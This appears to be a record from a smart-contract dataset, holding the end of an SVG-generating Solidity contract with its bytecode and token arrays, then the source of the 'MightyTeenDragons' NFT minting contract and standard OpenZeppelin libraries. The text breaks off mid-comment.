class="c1 s"/>', '<rect x="5" y="5" class="c1 s"/>', '<rect x="6" y="5" class="c5 s"/>', '<rect x="7" y="5" class="c5 s"/>', '<rect x="8" y="5" class="c1 s"/>', '<rect x="9" y="5" class="c1 s"/>', '<rect x="0" y="6" class="c1 s"/>', '<rect x="1" y="6" class="c1 s"/>', '<rect x="2" y="6" class="c1 s"/>', '<rect x="3" y="6" class="c2 s"/>', '<rect x="4" y="6" class="c1 s"/>', '<rect x="5" y="6" class="c2 s"/>', '<rect x="6" y="6" class="c1 s"/>', '<rect x="7" y="6" class="c1 s"/>', '<rect x="8" y="6" class="c1 s"/>', '<rect x="9" y="6" class="c1 s"/>', '<rect x="0" y="7" class="c1 s"/>', '<rect x="1" y="7" class="c1 s"/>', '<rect x="2" y="7" class="c1 s"/>', '<rect x="3" y="7" class="c1 s"/>', '<rect x="4" y="7" class="c2 s"/>', '<rect x="5" y="7" class="c1 s"/>', '<rect x="6" y="7" class="c1 s"/>', '<rect x="7" y="7" class="c1 s"/>', '<rect x="8" y="7" class="c1 s"/>', '<rect x="9" y="7" class="c1 s"/>', '<rect x="0" y="8" class="c4 s"/>', '<rect x="1" y="8" class="c1 s"/>', '<rect x="2" y="8" class="c2 s"/>', '<rect x="3" y="8" class="c2 s"/>', '<rect x="4" y="8" class="c1 s"/>', '<rect x="5" y="8" class="c2 s"/>', '<rect x="6" y="8" class="c2 s"/>', '<rect x="7" y="8" class="c1 s"/>', '<rect x="8" y="8" class="c1 s"/>', '<rect x="9" y="8" class="c4 s"/>', '<rect x="0" y="9" class="c4 s"/>', '<rect x="1" y="9" class="c4 s"/>', '<rect x="2" y="9" class="c1 s"/>', '<rect x="3" y="9" class="c1 s"/>', '<rect x="4" y="9" class="c1 s"/>', '<rect x="5" y="9" class="c1 s"/>', '<rect x="6" y="9" class="c1 s"/>', '<rect x="7" y="9" class="c1 s"/>', '<rect x="8" y="9" class="c4 s"/>', '<rect x="9" y="9" class="c4 s"/>', '<g id="eye-location" transform="translate(1,4)">', eyes, '</g>' ) ); } } pragma solidity 0.8.6; interface IAnimalSVG { function svg(string memory eyes) external pure returns(string memory); }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806310633aef14610030575b600080fd5b61004a600480360381019061004591906100f9565b610060565b6040516100579190611417565b60405180910390f35b6060816040516020016100739190610f9e565b6040516020818303038152906040529050919050565b600061009c6100978461145e565b611439565b9050828152602081018484840111156100b8576100b761155d565b5b6100c38482856114b6565b509392505050565b600082601f8301126100e0576100df611558565b5b81356100f0848260208601610089565b91505092915050565b60006020828403121561010f5761010e611567565b5b600082013567ffffffffffffffff81111561012d5761012c611562565b5b610139848285016100cb565b91505092915050565b600061014d8261148f565b610157818561149a565b93506101678185602086016114c5565b6101708161156c565b840191505092915050565b60006101868261148f565b61019081856114ab565b93506101a08185602086016114c5565b80840191505092915050565b60006101b96020836114ab565b91506101c48261157d565b602082019050919050565b60006101dc6020836114ab565b91506101e7826115a6565b602082019050919050565b60006101ff6020836114ab565b915061020a826115cf565b602082019050919050565b60006102226020836114ab565b915061022d826115f8565b602082019050919050565b60006102456020836114ab565b915061025082611621565b602082019050919050565b60006102686020836114ab565b91506102738261164a565b602082019050919050565b600061028b6020836114ab565b915061029682611673565b602082019050919050565b60006102ae6020836114ab565b91506102b98261169c565b602082019050919050565b60006102d16020836114ab565b91506102dc826116c5565b602082019050919050565b60006102f46020836114ab565b91506102ff826116ee565b602082019050919050565b60006103176020836114ab565b915061032282611717565b602082019050919050565b600061033a6020836114ab565b915061034582611740565b602082019050919050565b600061035d6020836114ab565b915061036882611769565b602082019050919050565b60006103806020836114ab565b915061038b82611792565b602082019050919050565b60006103a36020836114ab565b91506103ae826117bb565b602082019050919050565b60006103c66020836114ab565b91506103d1826117e4565b602082019050919050565b60006103e96020836114ab565b91506103f48261180d565b602082019050919050565b600061040c6020836114ab565b915061041782611836565b602082019050919050565b600061042f6020836114ab565b915061043a8261185f565b602082019050919050565b60006104526020836114ab565b915061045d82611888565b602082019050919050565b60006104756020836114ab565b9150610480826118b1565b602082019050919050565b60006104986020836114ab565b91506104a3826118da565b602082019050919050565b60006104bb6020836114ab565b91506104c682611903565b602082019050919050565b60006104de6020836114ab565b91506104e98261192c565b602082019050919050565b60006105016020836114ab565b915061050c82611955565b602082019050919050565b60006105246020836114ab565b915061052f8261197e565b602082019050919050565b60006105476020836114ab565b9150610552826119a7565b602082019050919050565b600061056a6030836114ab565b9150610575826119d0565b603082019050919050565b600061058d6020836114ab565b915061059882611a1f565b602082019050919050565b60006105b06020836114ab565b91506105bb82611a48565b602082019050919050565b60006105d36020836114ab565b91506105de82611a71565b602082019050919050565b60006105f66020836114ab565b915061060182611a9a565b602082019050919050565b60006106196020836114ab565b915061062482611ac3565b602082019050919050565b600061063c6020836114ab565b915061064782611aec565b602082019050919050565b600061065f6020836114ab565b915061066a82611b15565b602082019050919050565b60006106826020836114ab565b915061068d82611b3e565b602082019050919050565b60006106a56020836114ab565b91506106b082611b67565b602082019050919050565b60006106c86020836114ab565b91506106d382611b90565b602082019050919050565b60006106eb6020836114ab565b91506106f682611bb9565b602082019050919050565b600061070e6020836114ab565b915061071982611be2565b602082019050919050565b60006107316020836114ab565b915061073c82611c0b565b602082019050919050565b60006107546020836114ab565b915061075f82611c34565b602082019050919050565b60006107776020836114ab565b915061078282611c5d565b602082019050919050565b600061079a6020836114ab565b91506107a582611c86565b602082019050919050565b60006107bd6020836114ab565b91506107c882611caf565b602082019050919050565b60006107e06020836114ab565b91506107eb82611cd8565b602082019050919050565b60006108036020836114ab565b915061080e82611d01565b602082019050919050565b60006108266020836114ab565b915061083182611d2a565b602082019050919050565b60006108496020836114ab565b915061085482611d53565b602082019050919050565b600061086c6020836114ab565b915061087782611d7c565b602082019050919050565b600061088f6020836114ab565b915061089a82611da5565b602082019050919050565b60006108b26020836114ab565b91506108bd82611dce565b602082019050919050565b60006108d56020836114ab565b91506108e082611df7565b602082019050919050565b60006108f86020836114ab565b915061090382611e20565b602082019050919050565b600061091b6020836114ab565b915061092682611e49565b602082019050919050565b600061093e6020836114ab565b915061094982611e72565b602082019050919050565b60006109616020836114ab565b915061096c82611e9b565b602082019050919050565b60006109846020836114ab565b915061098f82611ec4565b602082019050919050565b60006109a76020836114ab565b91506109b282611eed565b602082019050919050565b60006109ca6004836114ab565b91506109d582611f16565b600482019050919050565b60006109ed6020836114ab565b91506109f882611f3f565b602082019050919050565b6000610a106020836114ab565b9150610a1b82611f68565b602082019050919050565b6000610a336020836114ab565b9150610a3e82611f91565b602082019050919050565b6000610a566020836114ab565b9150610a6182611fba565b602082019050919050565b6000610a796020836114ab565b9150610a8482611fe3565b602082019050919050565b6000610a9c6020836114ab565b9150610aa78261200c565b602082019050919050565b6000610abf6020836114ab565b9150610aca82612035565b602082019050919050565b6000610ae26020836114ab565b9150610aed8261205e565b602082019050919050565b6000610b056020836114ab565b9150610b1082612087565b602082019050919050565b6000610b286020836114ab565b9150610b33826120b0565b602082019050919050565b6000610b4b6020836114ab565b9150610b56826120d9565b602082019050919050565b6000610b6e6020836114ab565b9150610b7982612102565b602082019050919050565b6000610b916020836114ab565b9150610b9c8261212b565b602082019050919050565b6000610bb46020836114ab565b9150610bbf82612154565b602082019050919050565b6000610bd76020836114ab565b9150610be28261217d565b602082019050919050565b6000610bfa6020836114ab565b9150610c05826121a6565b602082019050919050565b6000610c1d6020836114ab565b9150610c28826121cf565b602082019050919050565b6000610c406020836114ab565b9150610c4b826121f8565b602082019050919050565b6000610c636020836114ab565b9150610c6e82612221565b602082019050919050565b6000610c866020836114ab565b9150610c918261224a565b602082019050919050565b6000610ca96020836114ab565b9150610cb482612273565b602082019050919050565b6000610ccc6020836114ab565b9150610cd78261229c565b602082019050919050565b6000610cef6020836114ab565b9150610cfa826122c5565b602082019050919050565b6000610d126020836114ab565b9150610d1d826122ee565b602082019050919050565b6000610d356020836114ab565b9150610d4082612317565b602082019050919050565b6000610d586020836114ab565b9150610d6382612340565b602082019050919050565b6000610d7b6020836114ab565b9150610d8682612369565b602082019050919050565b6000610d9e6020836114ab565b9150610da982612392565b602082019050919050565b6000610dc16020836114ab565b9150610dcc826123bb565b602082019050919050565b6000610de46020836114ab565b9150610def826123e4565b602082019050919050565b6000610e076020836114ab565b9150610e128261240d565b602082019050919050565b6000610e2a6020836114ab565b9150610e3582612436565b602082019050919050565b6000610e4d6020836114ab565b9150610e588261245f565b602082019050919050565b6000610e706020836114ab565b9150610e7b82612488565b602082019050919050565b6000610e936020836114ab565b9150610e9e826124b1565b602082019050919050565b6000610eb66020836114ab565b9150610ec1826124da565b602082019050919050565b6000610ed96020836114ab565b9150610ee482612503565b602082019050919050565b6000610efc6020836114ab565b9150610f078261252c565b602082019050919050565b6000610f1f6020836114ab565b9150610f2a82612555565b602082019050919050565b6000610f426020836114ab565b9150610f4d8261257e565b602082019050919050565b6000610f656020836114ab565b9150610f70826125a7565b602082019050919050565b6000610f886020836114ab565b9150610f93826125d0565b602082019050919050565b6000610fa982610f58565b9150610fb482610c10565b9150610fbf82610ce2565b9150610fca82610c33565b9150610fd582610931565b9150610fe0826105a3565b9150610feb82610882565b9150610ff6826104d1565b915061100182610eef565b915061100c8261083c565b9150611017826101ac565b91506110228261060c565b915061102d82610698565b91506110388261099a565b91506110438261027e565b915061104e826107b0565b915061105982610747565b915061106482610b61565b915061106f82610350565b915061107a8261025b565b915061108582610c79565b915061109082610580565b915061109b82610396565b91506110a682610d6e565b91506110b182610f7b565b91506110bc826106de565b91506110c782610ecc565b91506110d28261062f565b91506110dd826106bb565b91506110e8826104ae565b91506110f382610af8565b91506110fe82610db4565b9150611109826103ff565b915061111482610c56565b915061111f82610f35565b915061112a82610238565b915061113582610ad5565b915061114082610d05565b915061114b8261076a565b915061115682610ba7565b915061116182610468565b915061116c826105e9565b9150611177826108a5565b915061118282610d4b565b915061118d82610724565b915061119882610a6c565b91506111a382610373565b91506111ae826107f6565b91506111b9826102c4565b91506111c482610819565b91506111cf82610517565b91506111da82610a8f565b91506111e582610d91565b91506111f082610b3e565b91506111fb826103dc565b915061120682610445565b915061121182610675565b915061121c82610c9c565b915061122782610ab2565b915061123282610d28565b915061123d82610977565b915061124882610ea9565b915061125382610652565b915061125e82610f12565b915061126982610e1d565b915061127482610dd7565b915061127f8261030a565b915061128a8261053a565b9150611295826109e0565b91506112a0826102e7565b91506112ab82610bca565b91506112b6826105c6565b91506112c182610701565b91506112cc826107d3565b91506112d782610a49565b91506112e2826108eb565b91506112ed826101cf565b91506112f882610954565b915061130382610b84565b915061130e82610dfa565b915061131982610bed565b915061132482610a26565b915061132f826102a1565b915061133a82610e86565b91506113458261032d565b915061135082610a03565b915061135b826104f4565b9150611366826108c8565b91506113718261078d565b915061137c82610b1b565b9150611387826101f2565b915061139282610422565b915061139d8261048b565b91506113a88261085f565b91506113b38261090e565b91506113be82610e40565b91506113c982610e63565b91506113d4826103b9565b91506113df82610215565b91506113ea82610cbf565b91506113f58261055d565b9150611401828461017b565b915061140c826109bd565b915081905092915050565b600060208201905081810360008301526114318184610142565b905092915050565b6000611443611454565b905061144f82826114f8565b919050565b6000604051905090565b600067ffffffffffffffff82111561147957611478611529565b5b6114828261156c565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b82818337600083830152505050565b60005b838110156114e35780820151818401526020810190506114c8565b838111156114f2576000848401525b50505050565b6115018261156c565b810181811067ffffffffffffffff821117156115205761151f611529565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f3c7265637420783d22302220793d22312220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22362220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22392220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22382220793d22392220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22352220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22392220793d22312220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22342220793d22312220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22322220793d22382220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22382220793d22342220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22392220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22382220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22382220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22342220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22322220793d22322220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22322220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22312220793d22392220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22352220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22342220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22322220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22392220793d22322220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22372220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22382220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22302220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c672069643d226579652d6c6f636174696f6e22207472616e73666f726d3d2260008201527f7472616e736c61746528312c3429223e00000000000000000000000000000000602082015250565b7f3c7265637420783d22312220793d22322220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22352220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22312220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22312220793d22342220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22312220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22322220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22322220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22352220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22322220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22382220793d22322220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22322220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22322220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22342220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22382220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22382220793d22382220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22312220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22332220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22342220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22392220793d22342220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22392220793d22302220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22332220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22322220793d22342220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22372220793d22382220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22302220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22372220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22332220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c2f673e00000000000000000000000000000000000000000000000000000000600082015250565b7f3c7265637420783d22382220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22382220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22312220793d22382220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22372220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22352220793d22342220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22312220793d22352220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22382220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22332220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22392220793d22382220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22332220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22312220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22382220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22392220793d22332220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22302220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22382220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22312220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22332220793d22302220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22332220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22322220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22372220793d22352220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22392220793d22392220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22322220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22372220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22392220793d22352220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22332220793d22342220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22332220793d22322220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22322220793d22352220636c6173733d2263352073222f3e600082015250565b7f3c7265637420783d22312220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22362220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22392220793d22372220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22352220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22392220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22332220793d22382220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22312220793d22362220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22362220793d22322220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22382220793d22302220636c6173733d2263342073222f3e600082015250565b7f3c7265637420783d22332220793d22362220636c6173733d2263322073222f3e600082015250565b7f3c7265637420783d22342220793d22332220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22302220793d22302220636c6173733d2263312073222f3e600082015250565b7f3c7265637420783d22342220793d22322220636c6173733d2263342073222f3e60008201525056fea2646970667358221220ba426fc2dacee23bcee75444c74aa540b1e3b1b0c074bb40637e732f86e5b6f764736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 23777, 2692, 2683, 2497, 19841, 2475, 2050, 22907, 2546, 28154, 2487, 2497, 16147, 16932, 2683, 2581, 2094, 2581, 2683, 2575, 11329, 2575, 2683, 2509, 2278, 24434, 11387, 2581, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 12324, 1005, 1012, 1013, 4775, 9581, 4877, 2615, 2290, 1012, 14017, 1005, 1025, 3206, 16291, 2003, 4775, 9581, 4877, 2615, 2290, 1063, 3853, 17917, 2290, 1006, 5164, 3638, 2159, 1007, 6327, 2058, 15637, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 2709, 5164, 1006, 11113, 2072, 1012, 4372, 16044, 23947, 2098, 1006, 1005, 1026, 28667, 2102, 1060, 1027, 1000, 1014, 1000, 1061, 1027, 1000, 1014, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,739
0x9743615E96A868FcfC938002a037559571ff032c
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract MightyTeenDragons is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public baseURI; string public baseExtension = ".json"; uint256 public fireCost = 30 ether; uint256 public maxSupply = 10000; bool public paused = true; mapping(uint256 => bool) public babyDragonUsed; address public mightyBabyDragonsAddress; address public fireAddress; event TeenDragonMinted(address to); constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mint( address _to, uint256[] memory _babyDragons ) public { require(!paused, "Contract is paused"); require(_babyDragons.length > 0, "Mint amount must be at least 1"); require(totalSupply() + _babyDragons.length <= maxSupply, "Total supply reached"); for (uint256 i = 0; i < _babyDragons.length; i++) { require(ERC721(mightyBabyDragonsAddress).ownerOf(_babyDragons[i]) == msg.sender, "You are not the owner of this Dragon" ); require( babyDragonUsed[_babyDragons[i]] != true, "Baby Dragon can only Breed once" ); } require(IERC20(fireAddress).transferFrom(msg.sender, owner(), _babyDragons.length * fireCost), "Must have allowance"); for (uint256 i = 0; i < _babyDragons.length; i++) { babyDragonUsed[_babyDragons[i]] = true; supply.increment(); _safeMint(_to, supply.current()); } emit TeenDragonMinted(_to); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while ( ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply ) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } //only owner function totalSupply() public view returns (uint256) { return supply.current(); } function setFireCost(uint256 _newCost) public onlyOwner { fireCost = _newCost; } function setMaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function setMightyBabyDragonsAddress(address _mightybabyDragonsAddress) public onlyOwner { mightyBabyDragonsAddress = _mightybabyDragonsAddress; return; } function setFireAddress(address _fireAddress) public onlyOwner { fireAddress = _fireAddress; return; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is 